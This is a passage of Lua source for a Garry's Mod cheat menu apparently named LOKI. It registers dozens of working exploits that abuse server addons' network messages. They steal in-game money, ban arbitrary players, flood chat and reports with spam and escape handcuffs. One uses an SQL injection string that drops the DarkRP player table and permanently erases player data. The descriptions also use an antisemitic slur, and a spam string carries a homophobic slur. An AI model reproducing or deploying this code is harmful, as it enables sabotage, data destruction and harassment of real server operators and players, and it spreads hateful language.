2615 { typ = "float", Name = "Bait", min = 0, max = math.huge, default = 5, addr = "baitthreshold" },
2616 { typ = "bool", ToggleText = {"Freecam"}, border = true, bool = "freecam", callback = LOKI.Freecam.Toggle },
2617 //{ typ = "bool", ToggleText = {"Secure"}, border = true, addr = "securerenderer", bool = "securerenderer" },
2618 //{ typ = "bool", ToggleText = {"Fix ESP"}, border = true, bool = "fixesp" },
2619 { typ = "player", addr = "spectate", Name = "Spectate", nostore = true },
2620 //{ typ = "bool", ToggleText = {"Fix Sprint"}, border = true, bool = "sprintfix" },
2621 },
2622} )
2623LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
2624//////////////////////////////////////////////- MONEY -////////////////////////////////////////////////
2625LOKI.AddExploit( "Printer Money Stealer", {
2626 desc = "Instantly jew all money from every printer on the server (500 for latest, -1 for infinite)",
2627 severity = 90,
2628 bools = {enabled = false},
2629 status = 1,
2630 times_per_tick = 1,
2631 vars = {},
2632 scan = function() return LOKI.DynamicNetString("SyncPrinterButtons") end,
2633 hooks = {
2634 Tick = function(tbl, sploit)
2635 local dist = LOKI.GetStored( "printers1", 500 )
2636 local ent_tbl = LOKI.ents.FindByGlobal("WithdrawText")
2637 for k, v in ipairs(ent_tbl) do
2638 if( dist == -1 || LOKI.GetLP():GetPos():Distance(v:GetPos()) < dist ) then
2639 LOKI.NetStart( sploit, sploit.channel )
2640 net.WriteEntity(v)
2641 net.WriteUInt(2, 4)
2642 net.SendToServer()
2643 end
2644 end
2645 end,
2646 },
2647 functions = {
2648 { typ = "bool", },
2649 { typ = "float", Name = "Distance", min = -1, max = math.huge, default = 500, addr = "printers1" },
2650 },
2651} )
2652LOKI.AddExploit( "Printer Money Stealer", {
2653 desc = "Instantly jew all money from every printer on the server",
2654 severity = 90,
2655 bools = {enabled = false},
2656 status = 1,
2657 times_per_tick = 1,
2658 vars = {},
2659 scan = function() return LOKI.ValidNetString( "DataSend" ) end,
2660 hooks = {
2661 Tick = function(tbl, sploit)
2662 for k, v in ipairs(LOKI.ents.FindByGlobal("GetPToggle")) do
2663 LOKI.NetStart( sploit, "DataSend")
2664 net.WriteFloat(2)
2665 net.WriteEntity(v)
2666 net.WriteEntity(LOKI.GetLP())
2667 net.SendToServer()
2668 end
2669 end,
2670 },
2671 functions = {
2672 { typ = "bool", },
2673 },
2674} )
2675LOKI.AddExploit( "Printer Money Stealer", {
2676 desc = "Instantly jew all money from every printer on the server",
2677 severity = 90,
2678 bools = {enabled = false},
2679 status = 1,
2680 times_per_tick = 1,
2681 vars = {},
2682 scan = function() return LOKI.ValidNetString( "withdrawop" ) end,
2683 hooks = {
2684 Tick = function(tbl, sploit)
2685 for k, v in ipairs(LOKI.ents.FindByGlobal("S_Model")) do
2686 LOKI.NetStart( sploit, "withdrawop")
2687 net.WriteEntity(v)
2688 net.SendToServer()
2689 end
2690 end,
2691 },
2692 functions = {
2693 { typ = "bool", },
2694 },
2695} )
2696LOKI.AddExploit( "Printer Money Stealer", {
2697 desc = "Instantly jew all money from every printer on the server",
2698 severity = 90,
2699 bools = {enabled = false},
2700 status = 1,
2701 times_per_tick = 1,
2702 vars = {},
2703 scan = function() return LOKI.ValidNetString( "NGII_TakeMoney" ) end,
2704 hooks = {
2705 Tick = function(tbl, sploit)
2706 for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
2707 LOKI.NetStart( sploit, "NGII_TakeMoney")
2708 net.WriteEntity(v)
2709 net.WriteEntity(LOKI.GetLP())
2710 net.SendToServer()
2711 end
2712 end,
2713 },
2714 functions = {
2715 { typ = "bool", },
2716 },
2717} )
2718LOKI.AddExploit( "Printer Money Stealer", {
2719 desc = "Instantly jew all money from every printer on the server",
2720 severity = 90,
2721 bools = {enabled = false},
2722 status = 1,
2723 times_per_tick = 1,
2724 vars = {},
2725 scan = function() return LOKI.ValidNetString( "NET_DoPrinterAction" ) end,
2726 hooks = {
2727 Tick = function(tbl, sploit)
2728 for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
2729 LOKI.NetStart( sploit, "NET_DoPrinterAction")
2730 net.WriteEntity(LOKI.GetLP())
2731 net.WriteEntity(v)
2732 net.WriteInt(2, 16)
2733 net.SendToServer()
2734 end
2735 end,
2736 },
2737 functions = {
2738 { typ = "bool", },
2739 },
2740} )
2741LOKI.AddExploit( "Printer Money Stealer", {
2742 desc = "Instantly jew all money from every bitminer on the server",
2743 severity = 90,
2744 bools = {enabled = false},
2745 status = 1,
2746 times_per_tick = 1,
2747 vars = {},
2748 scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
2749 hooks = {
2750 Tick = function(tbl, sploit)
2751 if(LOKI.TIME_TO_TICKS(LOKI.REAL_CURTIME) % (LOKI.SafeToNumber(LOKI.GetStored("stealer1cooldown", 1)) + 1) == 0) then
2752 for k, v in ipairs(LOKI.ents.FindByGlobal("GetIsMining")) do
2753 LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
2754 net.WriteEntity(v)
2755 net.SendToServer()
2756 end
2757 end
2758 end,
2759 },
2760 functions = {
2761 { typ = "float", Name = "Cooldown", min = 0, max = LOKI.TICK_RATE, default = 1, addr = "stealer1cooldown" },
2762 { typ = "bool", },
2763 },
2764} )
2765LOKI.AddExploit( "Printer Money Stealer", {
2766 desc = "Instantly jew all money from every printer on the server",
2767 severity = 90,
2768 bools = {enabled = false},
2769 status = 1,
2770 times_per_tick = 1,
2771 vars = {},
2772 scan = function() return LOKI.ValidNetString( "fg_printer_money" ) end,
2773 hooks = {
2774 Tick = function(tbl, sploit)
2775 for k, v in ipairs(LOKI.ents.FindByGlobal("Getdata_money")) do
2776 LOKI.NetStart( sploit, "fg_printer_money")
2777 net.WriteEntity(v)
2778 net.SendToServer()
2779 end
2780 end,
2781 },
2782 functions = {
2783 { typ = "bool", },
2784 },
2785} )
2786LOKI.AddExploit( "Printer Money Stealer", {
2787 desc = "Instantly jew all money from every printer on the server",
2788 severity = 90,
2789 bools = {enabled = false},
2790 status = 1,
2791 times_per_tick = 1,
2792 vars = {},
2793 scan = function() return LOKI.ValidNetString( "icemod_printer_withdraw" ) end,
2794 hooks = {
2795 Tick = function(tbl, sploit)
2796 for k, v in ipairs(LOKI.ents.FindByGlobal("PrinterMenu")) do
2797 LOKI.NetStart( sploit, "icemod_printer_withdraw")
2798 net.WriteEntity(v)
2799 net.SendToServer()
2800 end
2801 end,
2802 },
2803 functions = {
2804 { typ = "bool", },
2805 },
2806} )
2807LOKI.AddExploit( "Printer Exploit", {
2808 desc = "Edit the stats of any printer in the server",
2809 severity = 65,
2810 bools = {enabled = false},
2811 status = 1,
2812 times_per_tick = math.huge,
2813 scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
2814 count = {
2815 ["Active"] = 3,
2816 ["Total"] = 3,
2817 },
2818 hooks = {
2819 Think = function(tbl, sploit)
2820 local ent = LOKI.GetStored("px_ply", {})[1]
2821 if(IsValid(ent) && istable(ent.data)) then
2822 LOKI.OpenTableEditor(LOKI.Menu, ent.data, "Printer Stats", function(tbl)
2823 LOKI.NetStart(sploit, {"lithiumPrinter2Bronze", "lithiumPrinter2Economic", "lithiumPrinter2Iron", "lithiumPrinter2Silver", "lithiumPrinter2Obsidian", "lithiumPrinter2Donator"}, true)
2824 net.WriteEntity(ent)
2825 net.WriteTable(tbl)
2826 net.SendToServer()
2827 end)
2828 end
2829
2830 end,
2831 },
2832 functions = {
2833 { typ = "entity", addr = "px_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("data") end },
2834 { typ = "func", Name = "Edit", },
2835 },
2836} )
2837LOKI.AddExploit( "Printer Exploit", {
2838 desc = "Edit the shelves of any printer in the server",
2839 severity = 65,
2840 bools = {enabled = false},
2841 status = 1,
2842 times_per_tick = math.huge,
2843 scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
2844 count = {
2845 ["Active"] = 2,
2846 ["Total"] = 2,
2847 },
2848 hooks = {
2849 Think = function(tbl, sploit)
2850 local ent = LOKI.GetStored("px2_ply", {})[1]
2851 if(IsValid(ent) && istable(ent.shelves)) then
2852 LOKI.OpenTableEditor(LOKI.Menu, ent.shelves, "Printer Shelves", function(tbl)
2853 LOKI.NetStart(sploit, {"lithium_printers_connected", "lithiumPrinters2RackLarge"}, true)
2854 net.WriteEntity(ent)
2855 net.WriteTable(tbl)
2856 net.SendToServer()
2857 end)
2858 end
2859
2860 end,
2861 },
2862 functions = {
2863 { typ = "entity", addr = "px2_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("shelves") end },
2864 { typ = "func", Name = "Edit", },
2865 },
2866} )
2867//////////////////////////////////////////////- SPAM -////////////////////////////////////////////////
2868LOKI.AddExploit( "Chat Spam", {
2869 desc = "Spams specific players on the server with a message",
2870 severity = 1,
2871 bools = {enabled = false},
2872 status = 1,
2873 times_per_tick = 10,
2874 scan = function() return (LOKI.ValidNetString( "sendtable" ) ) end,
2875 hooks = {
2876 Think = function(tbl, sploit)
2877 for k, v in ipairs( LOKI.GetStored( "fr_players", {} ) ) do
2878 if !IsValid(v) then continue end
2879 local buyit = {}
2880 for i = 1, 15 do
2881 buyit[#buyit + 1] = LOKI.GetStored( "fr_spamstring", "GET ODIUM.PRO" )
2882 end
2883 LOKI.NetStart( sploit, "sendtable" )
2884 net.WriteEntity( v )
2885 net.WriteTable( buyit )
2886 net.SendToServer()
2887 end
2888 end,
2889 },
2890 functions = {
2891 { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "fr_spamstring" },
2892 { typ = "players", addr = "fr_players" },
2893 { typ = "bool", },
2894 },
2895} )
2896LOKI.AddExploit( "Chat Spam", {
2897 desc = "Spam private messages to anyone",
2898 severity = 50,
2899 bools = {enabled = false},
2900 status = 1,
2901 msgs_per_tick = function(sploit) return #LOKI.GetStored( "spammer_plyz", {} ) end,
2902 times_per_tick = math.huge,
2903 vars = {},
2904 scan = function()
2905 local psay, query = LOKI.RecursiveGetVar(ulx, {"psay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
2906 return (psay && query && query( LOKI.GetLP(), "ulx psay" )) end,
2907 hooks = {
2908 Think = function(tbl, sploit)
2909 if(LOKI.GetLP().ulib_threat_level) then
2910 LOKI.GetLP().ulib_threat_level = 0
2911 end
2912 for k, v in ipairs( LOKI.GetStored( "spammer_plyz", {} ) ) do
2913 if !IsValid(v) then continue end
2914 local spamstr = LOKI.GetStored( "spam_message", "GET ODIUM.PRO" )
2915 LOKI.RCC(sploit, "ulx", "psay", v:Nick(), spamstr)
2916 end
2917 end,
2918 },
2919 functions = {
2920 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam_message" },
2921 { typ = "players", addr = "spammer_plyz" },
2922 { typ = "bool", },
2923 },
2924} )
2925LOKI.AddExploit( "Chat Spam", {
2926 desc = "Spam admin messages",
2927 severity = 50,
2928 bools = {enabled = false},
2929 status = 1,
2930 msgs_per_tick = function(sploit) return #LOKI.GetStored( "spamasay_plyz", {} ) end,
2931 times_per_tick = math.huge,
2932 vars = {},
2933 scan = function()
2934 local asay, query = LOKI.RecursiveGetVar(ulx, {"asay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
2935 return (asay && query && query( LOKI.GetLP(), "ulx asay" )) end,
2936 hooks = {
2937 Think = function(tbl, sploit)
2938 if(LOKI.GetLP().ulib_threat_level) then
2939 LOKI.GetLP().ulib_threat_level = 0
2940 end
2941 local spamstr = LOKI.GetStored( "spam2_message", "GET ODIUM.PRO" )
2942 LOKI.RCC(sploit, "ulx", "asay", spamstr)
2943 end,
2944 },
2945 functions = {
2946 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam2_message" },
2947 { typ = "bool", },
2948 },
2949} )
2950LOKI.AddExploit( "Chat Spam", {
2951 desc = "Set ALL taxes to 0 and spam notifies",
2952 severity = 50,
2953 bools = {enabled = false},
2954 status = 2,
2955 times_per_tick = 1,
2956 vars = {},
2957 prevalidated = true,
2958 scan = function() return LOKI.ValidNetString("BEModule_SetTaxes") && BEModuleConfig && BEModuleConfig.EnableTaxes end,
2959 hooks = {
2960 Think = function(tbl, sploit)
2961 LOKI.NetStart( sploit, "BEModule_SetTaxes")
2962 net.SendToServer()
2963 end,
2964 },
2965 functions = {
2966 { typ = "bool", },
2967 },
2968} )
2969LOKI.AddExploit( "Chat Spam", {
2970 desc = "Spam chat messages for everyone (except loki users)",
2971 severity = 50,
2972 bools = {enabled = false},
2973 status = 1,
2974 times_per_tick = math.huge,
2975 vars = {},
2976 scan = function() return LOKI.ValidNetString("DrGBaseChatPrint") end,
2977 hooks = {
2978 Think = function(tbl, sploit)
2979 LOKI.NetStart( sploit, "DrGBaseChatPrint")
2980 net.WriteString(LOKI.GetStored("chatspam4", "GET ODIUM.PRO"))
2981 net.WriteBool(sploit.bools.error || false)
2982 net.SendToServer()
2983 end,
2984 net = {
2985 Receive = function(sploit, strName)
2986 if(strName == "DrGBaseChatPrint") then
2987 return false
2988 end
2989 end,
2990 },
2991 },
2992 functions = {
2993 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "chatspam4" },
2994 { typ = "bool", ToggleText = {"Error"}, border = true, bool = "error" },
2995 { typ = "bool", },
2996 },
2997} )
2998LOKI.AddExploit( "Report Exploit", {
2999 desc = "Spam reports on everybody on the server",
3000 severity = 1,
3001 bools = {enabled = false},
3002 status = 2,
3003 times_per_tick = 1,
3004 vars = {},
3005 scan = function() return LOKI.ValidNetString( "TransferReport" ) end,
3006 hooks = {
3007 Think = function(tbl, sploit)
3008 for k, v in ipairs( player.GetAll() ) do
3009 LOKI.NetStart( sploit, "TransferReport" )
3010 net.WriteString( v:SteamID() )
3011 net.WriteString( "INFERNUS AND BAT ARE FAGGOTS FOR EACH OTHER" )
3012 net.WriteString( "DITCH THIS SHITTY SERVER AND BUY ODIUM.PRO TODAY" )
3013 net.SendToServer()
3014 end
3015 end,
3016 },
3017 functions = {
3018 { typ = "func", Name = "Report Everybody", },
3019 },
3020} )
3021/*LOKI.ChatClear = LOKI.LAST.ChatClear || _G.ChatClear
3022LOKI.AddExploit( "Chat Spam", {
3023 desc = "Chat will clear and become unusable. (patched on some custom chatboxes)",
3024 severity = 50,
3025 bools = {enabled = false},
3026 status = 1,
3027 times_per_tick = 1,
3028 vars = {},
3029 scan = function() return pcall(function() require("cc") end) && istable(LOKI.ChatClear || _G.ChatClear) end,
3030 initial = function()
3031 if(!LOKI.ChatClear) then
3032 LOKI.ChatClear = _G.ChatClear
3033 end
3034 if(_G.ChatClear) then
3035 _G.ChatClear = nil
3036 end
3037 end,
3038 hooks = {
3039 Think = function(tbl, sploit)
3040 if(LOKI.ChatClear) then if(DarkRP) then LOKI.ChatClear.OOC() else LOKI.ChatClear.Run() end end
3041 end,
3042 },
3043 functions = {
3044 { typ = "bool", },
3045 },
3046} )*/
3047LOKI.AddExploit( "Team Change Spammer", {
3048 desc = "Chat will spam with team changes",
3049 severity = 50,
3050 bools = {enabled = false},
3051 status = 1,
3052 msgs_per_tick = function(sploit)
3053 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true)
3054 LOKI.SetTableContents(tbl, LOKI.GetVarTable(team.GetAllTeams(), "Joinable", LOKI.TYPEVARS.EQUALTO, true))
3055 return #tbl
3056 end,
3057 times_per_tick = math.huge,
3058 vars = {},
3059 scan = function() return LOKI.GetLP().pkdata != nil end,
3060 hooks = {
3061 Think = function(tbl, sploit)
3062 for k, v in ipairs( LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true) ) do
3063 if(v.Joinable == true) then
3064 LOKI.RCC(sploit, "_team", tostring(k))
3065 end
3066 end
3067 end,
3068 },
3069 functions = {
3070 { typ = "bool", },
3071 },
3072} )
3073LOKI.AddExploit( "Respawn Exploit", {
3074 desc = "Instantly respawn on death, skip respawn timer",
3075 severity = 50,
3076 bools = {enabled = false},
3077 status = 1,
3078 times_per_tick = 1,
3079 vars = {},
3080 scan = function() return LOKI.GetLP().pkdata != nil end,
3081 hooks = {
3082 entity_killed = function(tbl, sploit, varargs)
3083 local data = varargs[1]
3084 local ent = Entity(data.entindex_killed)
3085 if ( ent == LOKI.GetLP() ) then
3086 for k, v in ipairs( team.GetAllTeams() ) do
3087 if(v.Joinable == true && k != LOKI.GetLP():Team()) then
3088 LOKI.RCC(sploit, "_team", tostring(k))
3089 break
3090 end
3091 end
3092 end
3093 end,
3094 },
3095 functions = {
3096 { typ = "bool", },
3097 },
3098} )
3099/*LOKI.AddExploit( "Respawn Exploit", {
3100 desc = "Instantly respawn on death",
3101 severity = 90,
3102 bools = {enabled = false},
3103 status = 1,
3104 times_per_tick = 1,
3105 vars = {},
3106 scan = function() return LOKI.ValidNetString("recreate_move") end,
3107 hooks = {
3108 entity_killed = function(tbl, sploit, varargs)
3109 local data = varargs[1]
3110 local ent = Entity(data.entindex_killed)
3111 if ( ent == LOKI.GetLP() ) then
3112 LOKI.NetStart(sploit, "recreate_move")
3113 net.WriteVector(LOKI.GetLP():GetPos())
3114 net.WriteAngle(LOKI.GetLP():GetAngles())
3115 net.SendToServer()
3116 end
3117 end,
3118 },
3119 functions = {
3120 { typ = "bool", },
3121 },
3122} )*/ --TRASH
3123LOKI.AddExploit( "Console Spam", {
3124 desc = "Supposed to be a lagsploit but doesn't actually cause lag, just spams console",
3125 severity = 90,
3126 bools = {enabled = false},
3127 status = 1,
3128 times_per_tick = 20,
3129 scan = function() return ULib != nil end,
3130 hooks = {
3131 Think = function(tbl, sploit)
3132 LOKI.RCC(sploit, "_u", LOKI.GetStored("consolespam1", "GET ODIUM.PRO") )
3133 end,
3134 },
3135 functions = {
3136 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "consolespam1" },
3137 { typ = "bool", },
3138 },
3139} )
3140LOKI.AddExploit( "Chat Spam", {
3141 desc = "Big chat spams, extremely annoying",
3142 severity = 1,
3143 bools = {enabled = false},
3144 status = 2,
3145 times_per_tick = 1,
3146 vars = {},
3147 scan = function() return LOKI.ValidNetString( "VJSay" ) end,
3148 hooks = {
3149 Think = function(tbl, sploit)
3150 for k, v in ipairs( player.GetAll() ) do
3151 LOKI.NetStart( sploit, "VJSay" )
3152 net.WriteEntity( v )
3153 net.WriteString( LOKI.GetStored( "vj_spamstring", "GET ODIUM.PRO" ) )
3154 if LOKI.GetStored( "vj_spamsound", "" ) != "" then
3155 net.WriteString( LOKI.GetStored( "vj_spamsound", "" ) )
3156 end
3157 net.SendToServer()
3158 end
3159 end,
3160 },
3161 functions = {
3162 { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "vj_spamstring" },
3163 { typ = "string", Name = "Enter a sound path", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
3164 { typ = "bool", },
3165 },
3166} )
3167//////////////////////////////////////////////- HARM -////////////////////////////////////////////////
3168LOKI.AddExploit( "Ban Exploit", {
3169 desc = "Allows you to ban anyone regardless of rank",
3170 severity = 100,
3171 bools = {enabled = false},
3172 status = 3,
3173 times_per_tick = 1,
3174 vars = {},
3175 scan = function() return LOKI.ValidNetString( "banleaver" ) end,
3176 hooks = {
3177 Think = function(tbl, sploit)
3178 for k,v in ipairs(LOKI.GetStored( "banleaver_ply", {} )) do
3179 if IsValid(v) then
3180 if(v:IsPlayer()) then
3181 LOKI.NetStart( sploit, "banleaver")
3182 net.WriteString(tostring(v:SteamID().."{sep}"..tostring(v:Name())))
3183 net.SendToServer()
3184 end
3185 end
3186 end
3187 end,
3188 },
3189 functions = {
3190 { typ = "players", addr = "banleaver_ply" },
3191 { typ = "bool", Name = "Ban", args = {}, },
3192 },
3193} )
3194LOKI.AddExploit( "Ban Exploit", {
3195 desc = "Allows you to ban anyone regardless of rank",
3196 severity = 100,
3197 bools = {enabled = false},
3198 status = 2,
3199 times_per_tick = 1,
3200 vars = {},
3201 scan = function() return LOKI.ValidNetString( "gBan.BanBuffer" ) end,
3202 hooks = {
3203 Think = function(tbl, sploit)
3204 for k,v in ipairs(LOKI.GetStored( "ban2_ply", {} )) do
3205 if IsValid(v) then
3206 if(v:IsPlayer()) then
3207 LOKI.NetStart( sploit, "gBan.BanBuffer" )
3208 net.WriteBool( true )
3209 net.WriteInt( LOKI.SafeToNumber(LOKI.GetStored("ban2time", 0)), 32 )
3210 net.WriteString( LOKI.GetStored("ban2", "GET ODIUM.PRO") )
3211 net.WriteString( v:SteamID() )
3212 net.SendToServer()
3213 end
3214 end
3215 end
3216 end,
3217 },
3218 functions = {
3219 { typ = "players", addr = "ban2_ply" },
3220 { typ = "string", Name = "Ban Reason", default = "GET ODIUM.PRO", addr = "ban2" },
3221 { typ = "float", Name = "Ban Time", min = 0, max = (math.pow(2, 32)-1)/2, default = 0, addr = "ban2time" },
3222 { typ = "bool", Name = "Ban", args = {}, },
3223 },
3224} )
3225LOKI.AddExploit( "Ban Exploit", {
3226 desc = "Allows you to ban anyone regardless of rank",
3227 severity = 100,
3228 bools = {enabled = false},
3229 status = 1,
3230 times_per_tick = 1,
3231 vars = {},
3232 scan = function() return LOKI.ValidNetString( "RDMAssign" ) end,
3233 hooks = {
3234 Think = function(tbl, sploit)
3235 for k,v in ipairs(LOKI.GetStored( "ban3_ply", {} )) do
3236 if IsValid(v) then
3237 if(v:IsPlayer()) then
3238 for i=1, 10 do
3239 LOKI.NetStart( sploit, "RDMAssign" )
3240 net.WriteEntity( v )
3241 net.SendToServer()
3242 end
3243 end
3244 end
3245 end
3246 end,
3247 },
3248 functions = {
3249 { typ = "players", addr = "ban3_ply" },
3250 { typ = "func", Name = "Do it" },
3251 },
3252} )
3253LOKI.AddExploit( "Break The Server", {
3254 desc = "Vandalize the DarkRP master SQL database, permanently erasing all DarkRP player data",
3255 severity = 100,
3256 bools = {enabled = false},
3257 status = 1,
3258 times_per_tick = 1,
3259 vars = {},
3260 prevalidated = true,
3261 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
3262 hooks = {
3263 Think = function(tbl, sploit)
3264 local ass = {}
3265 ass.tblname = "darkrp_player; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3266 ass.ply = LOKI.GetLP()
3267 LOKI.NetStart(sploit, "pplay_sendtable")
3268 net.WriteTable(ass)
3269 net.SendToServer()
3270 end,
3271 },
3272 functions = {
3273 { typ = "func", Name = "Burn it down", },
3274 },
3275} )
3276LOKI.AddExploit( "Break The Server", {
3277 desc = "Will cause a nuclear implosion",
3278 severity = 100,
3279 bools = {enabled = false},
3280 status = 2,
3281 times_per_tick = 1,
3282 vars = {},
3283 scan = function() return LOKI.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
3284 hooks = {
3285 Think = function(tbl, sploit)
3286 for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
3287 LOKI.NetStart( sploit, "MDE_RemoveStuff_C2S")
3288 net.WriteTable( {DATA="",TARGET=v} )
3289 net.SendToServer()
3290 end
3291 end,
3292 },
3293 functions = {
3294 { typ = "func", Name = "Burn it down", },
3295 },
3296} )
3297LOKI.AddExploit( "Break The Server", {
3298 desc = "Will cause a nuclear implosion",
3299 severity = 100,
3300 bools = {enabled = false},
3301 status = -1,
3302 times_per_tick = 1,
3303 vars = {},
3304 scan = function() return LOKI.ValidNetString( "timebombDefuse" ) end,
3305 hooks = {
3306 Think = function(tbl, sploit)
3307 for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
3308 LOKI.NetStart( sploit, "timebombDefuse")
3309 net.WriteEntity(v)
3310 net.WriteBool(true)
3311 net.SendToServer()
3312 end
3313 end,
3314 },
3315 functions = {
3316 { typ = "func", Name = "Burn it down", },
3317 },
3318} )
3319LOKI.AddExploit( "Break The Server", {
3320 desc = "Irreversibly break the physics engine",
3321 severity = 100,
3322 bools = {enabled = false},
3323 status = 1,
3324 times_per_tick = 1,
3325 vars = {},
3326 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
3327 hooks = {
3328 Think = function(tbl, sploit)
3329 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
3330 net.WriteString("Add")
3331 net.WriteTable({[1] = "worldspawn"})
3332 net.SendToServer()
3333 end,
3334 },
3335 functions = {
3336 { typ = "func", Name = "Burn it down", },
3337 },
3338} )
3339LOKI.AddExploit( "Cuff Breaker", {
3340 desc = "Instantly break out of handcuffs",
3341 severity = 1,
3342 bools = {enabled = false},
3343 status = 1,
3344 times_per_tick = 1,
3345 vars = {},
3346 scan = function() return LOKI.ValidNetString( "Kun_ZiptieStruggle" ) end,
3347 hooks = {
3348 Think = function(tbl, sploit)
3349 LOKI.NetStart( sploit, "Kun_ZiptieStruggle")
3350 net.SendToServer()
3351 end,
3352 },
3353 functions = {
3354 { typ = "bool", },
3355 },
3356} )
3357LOKI.AddExploit( "Cuff Breaker", {
3358 desc = "Automatically break out of handcuffs",
3359 severity = 1,
3360 bools = {enabled = false},
3361 status = 1,
3362 times_per_tick = 1,
3363 vars = {},
3364 scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) end,
3365 hooks = {
3366 CreateMove = function(tbl, sploit, varargs)
3367 local cmd = varargs[1]
3368 if(LOKI.GetLP().IsHandcuffed(LOKI.GetLP())) then
3369 if(cmd:TickCount() % 2 == 0) then
3370 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK));
3371 end
3372 end
3373 end,
3374 },
3375 functions = {
3376 { typ = "bool", },
3377 },
3378} )
3379LOKI.AddExploit( "Cuff Breaker", {
3380 desc = "Instantly break out of handcuffs",
3381 severity = 1,
3382 bools = {enabled = false},
3383 status = 1,
3384 times_per_tick = 1,
3385 vars = {},
3386 scan = function() return LOKI.ValidNetString("realistic_hook BreakFree") end,
3387 hooks = {
3388 CreateMove = function(tbl, sploit, varargs)
3389 local cmd = varargs[1]
3390 local target_ents = LOKI.GetVarTable(ents.GetAll(), "GetTargetEnt", LOKI.TYPEVARS.EQUALTO, LOKI.GetLP())
3391 if(target_ents[1]) then
3392 if(cmd:TickCount() % 2 == 0) then
3393 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_USE));
3394 end
3395 end
3396 end,
3397 },
3398 functions = {
3399 { typ = "bool", },
3400 },
3401} )
3402LOKI.AddExploit( "Cuff Breaker", {
3403 desc = "Instantly break out of handcuffs",
3404 severity = 1,
3405 bools = {enabled = false},
3406 status = 1,
3407 times_per_tick = 1,
3408 vars = {},
3409 scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) && LOKI.ValidNetString("dialogAlterWeapons") end,
3410 hooks = {
3411 Think = function(tbl, sploit)
3412 if(LOKI.GetLP():IsHandcuffed()) then
3413 LOKI.NetStart( sploit, "dialogAlterWeapons", true)
3414 net.WriteString("Remove")
3415 net.WriteTable({[1] = "weapon_handcuffed"})
3416 net.SendToServer()
3417 end
3418 end,
3419 },
3420 functions = {
3421 { typ = "bool", },
3422 },
3423} )
3424LOKI.AddExploit( "Entity Exploit", {
3425 desc = "Unfreeze any entity",
3426 severity = 50,
3427 bools = {enabled = false},
3428 status = 2,
3429 times_per_tick = 1,
3430 vars = {},
3431 scan = function() return LOKI.ValidNetString("zrush_FuelSplitUIGotClosed_net") end,
3432 hooks = {
3433 CreateMove = function(tbl, sploit, varargs)
3434 local tbl = LOKI.RecursiveGetVar(sploit, {"bools"}, "table", true)
3435 if(tbl.enabled) then
3436 local ent = LOKI.GetLP():GetEyeTrace().Entity
3437 if(IsValid(ent) && varargs[1]:KeyDown(IN_ATTACK)) then
3438 LOKI.NetStart(sploit, "zrush_FuelSplitUIGotClosed_net")
3439 net.WriteFloat(ent:EntIndex())
3440 net.SendToServer()
3441 end
3442 end
3443 end,
3444 },
3445 functions = {
3446 { typ = "bool", },
3447 },
3448} )
3449LOKI.AddExploit( "Entity Exploit", {
3450 desc = "Give yourself any entity",
3451 severity = 50,
3452 bools = {enabled = false},
3453 status = 1,
3454 times_per_tick = 1,
3455 vars = {},
3456 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
3457 hooks = {
3458 Think = function(tbl, sploit)
3459 local vars = LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
3460 if(!vars.NAME) then
3461 local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
3462 if(ItemsList) then
3463 for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
3464 if(!v.LoadData) then
3465 vars.NAME = v.NAME
3466 break
3467 end
3468 end
3469 end
3470 end
3471 for i = 1, LOKI.GetStored("entity1_q") do
3472 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY", true)
3473 net.WriteTable({type = 6, ENTITY = LOKI.GetStored( "entity1" ), SKIN = 0, MODEL = LOKI.GetStored("entity1_m"), NAME = vars.NAME || "Beer"})
3474 net.WriteInt(0, 16)
3475 net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
3476 net.SendToServer()
3477 end
3478 end,
3479 },
3480 functions = {
3481 { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity1" },
3482 { typ = "string", Name = "Entity Model", default = "models/error.mdl", addr = "entity1_m" },
3483 { typ = "float", addr = "entity1_q", Name = "Amount", min = 1, max = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD", "Config", "PropLimit"}, "number") || math.huge, default = 1 },
3484 { typ = "func", Name = "Give me shit", },
3485 },
3486} )
3487LOKI.AddExploit( "Entity Exploit", {
3488 desc = "With just a wave of my magic wand...",
3489 severity = 100,
